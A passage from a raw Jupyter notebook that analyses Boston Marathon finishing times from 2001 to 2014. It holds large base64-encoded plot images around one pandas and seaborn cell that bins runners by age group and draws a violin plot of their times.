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\nHFG9rOUUnRfEzlWW8mo5TXlfp3r16ixbtkz9OiIiggMHDgCQlZXF//73P3Q6HQBTpkzB19cXgK5d\nu1q96mjirTsgTElJMfv7g15eXjg4OODp6QmAXq/n+fPndO7cGaPRiIeHh/pcJycnXr16ZfZhV69e\nndzcXAA6depE7dq1zXw1atTgypUrVp2enp7o9XpevXqFwWAgOTmZVatWqZdfdTqd6vTz8+PMmTM2\nOU0Fs5TXy8tLzVtYWMg///xD586dycjIUBvtdbe/v7+Z29nZmTp16qAoCvPnzycgIABfX1+hebWc\novOa6r9161aio6Pp168fULJAmjRpYrWf9u/fz/Pnz6lVqxZHjx5l1apVxMXFsXPnTpycnKhdu7ba\nT35+fty8eVPTJzKru7s7ubm5XL16lf379/P111+b9bqI2triFF3b/Px84uLiWLhwIevWrWPbtm1k\nZmYK7WUtp+j65uTkcPr0aSZMmMDatWvZvHkzN2/eFFpfLac91i7Azp076dWrl7pfit6brTlF53Vz\ncyMyMpLevXszePBg4uLiAHF7lTWfPXrZz8+Pc+fOkZeXR05ODhcvXuTFixdCe1nLWVV5i4uLadSo\nEd27d+fu3bvq9/Ly8tQrAgDu7u4YjcYqyWtydujQwWan6LwtWrSgadOmlEan01GjRg2rs5zp+Skp\nKVy/fp3Vq1eTnJxMUlISUHJQ4OTkRHFxMR07djTzlec08bq7WbNmODg44OrqSlBQEOfOncNoNOLk\n5ISXlxfOzs4AuLm54ezsTHFxMZ06deLatWtmHmdnZ3WdlZ5xKrt269SpQ6NGjQgKCsLLy4sbN25o\n+uxRWyg5iLE044jqZS2n6Lwi5ypreW2ZqyxhygoQGRmp/mhtUlKS+pm9/jzT3qyFs+Z3/wOePHmC\nt7d3mceLi4tZsGABt27dYvny5QB4eHiQl5dn9hwnJyf1DCiUbJalr869qbN58+bMmjULg8FAcHAw\nvXr1KuP08fHh/v37NjltcT99+pT09HSaNWvGvXv3yMnJMbtUXNrt7e3NkydPzNwvX75k0qRJeHh4\nMGPGDLvktea0R16AmJgYhg4dyujRozl9+rTN/ZSQkEC3bt0IDw9Xsy5fvtysn3x8fMjKyjJbZK/7\nOnbsKCyr0WikZs2a7Nu3j/v37xMfH8/du3fR6XQ0atSILl26VHltbXGKrq2bmxtxcXG4urri6upK\n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\n", "text": [ "<matplotlib.figure.Figure at 0x11aa66050>" ] } ], "prompt_number": 132 }, { "cell_type": "code", "collapsed": false, "input": [ "# wow that is a hideous, useless plot. Looks like women finish a predictable amount worse than men every year?\n", "# I wonder how, across all years, age groups do. (That one might benefit from a gender split, more than the above)\n", "# Also TODO: a map of the states & countries of Boston Marathon participants\n", "\n", "alltimes\n", "agegroups = range(15,90,5)\n", "agebins = pd.cut(alltimes['age'], agegroups,\n", " labels=['{}-{}'.format(age,age+5) for age in agegroups][:-1])\n", "\n", "f, ax1 = plt.subplots(1)\n", "ax1.set_title(\"Boston Marathon times 2001-2014 by age group\")\n", "seaborn.violinplot(pd.Series(alltimes.loc[:, \"official\"], name=\"time in minutes\"), groupby=agebins, ax=ax1)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 144, "text": [ "<matplotlib.axes.AxesSubplot at 0x119f12a10>" ] }, { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAA3kAAAJoCAYAAADbDShfAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3XmcFNW9Pv6nqvfZV3YYFlkUQRFRUTCg3ogLV1y4igaN\nGm82jV+8JoG4YDRoNIsavYlm9V6XX/SKImpcgoogBHDBBdkUBhgYZl+7p9eq8/uju7p7GIYZhu7p\nmXOe9+uVONPbnEN1V9dTn1PnaEIIASIiIiIiIpKCnukGEBERERERUeow5BEREREREUmEIY+IiIiI\niEgiDHlEREREREQSYcgjIiIiIiKSCEMeERERERGRRBjyiIh6aP/+/Tj++OMxb948zJs3D3PnzsV/\n/Md/4JNPPunxa37++edYunRpytr42GOPYcKECVi+fHm729va2jBlyhR873vfS9nfam1txbXXXhv/\nfcKECWhqakrZ6ydbvXo1fve73wEA3n33XfziF79Iy9/pTCAQwJIlSzB37lxcfPHF+NnPfoZgMAgA\n2LNnD66++mpcdNFFmD9/Pnbv3h1/3osvvogLL7wQ559/Pu655x5EIpF2r7t9+3bMmDHjiH977dq1\nuPzyyzFv3jxcdtll+OCDD+L3PfHEE7jgggvwzW9+E48//niH537wwQeYN2/eYV931apVmDp16mHv\n27hxIy644IIjtouIiPoOhjwiomPgdruxYsUKrFixAq+++iquv/56LFmypMev9/XXX6O6ujpl7dM0\nDUOGDMHKlSvb3f72228jOzs7ZX8HAJqbm/HFF1+0uy1dS7F+8cUXaG5uBgCcc845uPPOO9Pydzrz\nhz/8AUIIvPrqq1i5ciWCwSCefPJJAMDtt9+Oa665Bq+//jpuueUW/OhHPwIA7Ny5E48//jieffZZ\nvPnmm2htbcVTTz0FADAMA0899RRuvPFGtLW1dfp3W1tbcfvtt+Ohhx7CihUr8MADD2DRokXw+Xx4\n//338dZbb+Hll1/Ga6+9ho0bN+KNN94AEA2lDz/8MBYtWgTDMDq87p49e/Dggw+mbXsREVHvsme6\nAUREMmlsbMSAAQPivz///PN45plnoOs6SkpKcNddd2HkyJH46KOP8OCDD8IwDGiahu9+97uYPHky\nfve738Hr9eJnP/sZ7r///k6fv3jxYuTk5GDnzp2oqqrC6NGj8dvf/hZZWVkd2jRjxgy88847qK6u\nxsCBAwEAL7/8MubOnYvy8nIAQHl5Oe699174/X7U1NRgwoQJeOSRR+B0OnHiiSfivPPOw/bt2/Hr\nX/8a27dvxwsvvIBwOIzm5mbcdNNNWLBgAZYsWYJgMIhLL700Xjl87LHH8Omnn6KpqQk33ngjrrnm\nGgDAf//3f+Mf//gHbDYbRo4cibvvvhslJSVYuHAhpkyZgk8++QSVlZU49dRT8eCDD0LTtHh/Pvvs\nMzz//PMwDAM5OTkoKyvD22+/jSeeeAILFy7EiSeeiA0bNqC+vh7XXnst6uvrsWnTJvj9fjzyyCMY\nN24cWltbsWzZMuzcuRORSATTp0/HT37yE9hsNvzud7/DqlWr4HA4UFBQgF/+8pcoLS1t92962mmn\nYdiwYQAAXdcxYcIE7N69G9XV1SgvL8dFF10EADj77LNxzz33YOvWrXj//fdx7rnnorCwEABw5ZVX\n4he/+AW+853v4Msvv8TOnTvx6KOP4qabbur0/RWJRHDPPfdgzJgxAIAxY8ZACIHGxkb885//xNy5\nc+F2uwEAl112GVauXIkLLrgAH3zwAYLBIO6///54BdTi9/vxk5/8BEuWLMF//dd/dfq3/X4/br31\nVuzduxe5ubm47777MHDgQHzjG9/ACy+8gJEjRwIArr/+eixcuBDnnHNO/LmmaeL+++/H559/D